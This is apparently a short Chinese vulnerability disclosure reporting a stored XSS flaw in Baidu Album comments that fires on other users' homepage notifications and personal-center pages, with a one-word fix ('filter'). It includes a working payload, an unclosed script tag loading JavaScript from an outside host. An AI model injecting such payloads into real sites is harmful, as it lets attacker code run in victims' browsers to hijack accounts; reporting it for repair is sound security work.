百度相册存储型XSS漏洞指谁打谁，可对用户留置

1.插入不要闭合的代码：<script/src="http://q601333824.duapp.com/3.js" 

 

2.代码存在的位置

3.评论变成了null,但是百度首页有提醒，个人中心也能弹出来

 

 

修复方案：

过滤

查看更多关于百度相册存储型XSS漏洞指谁打谁，可对用户留置的详细内容...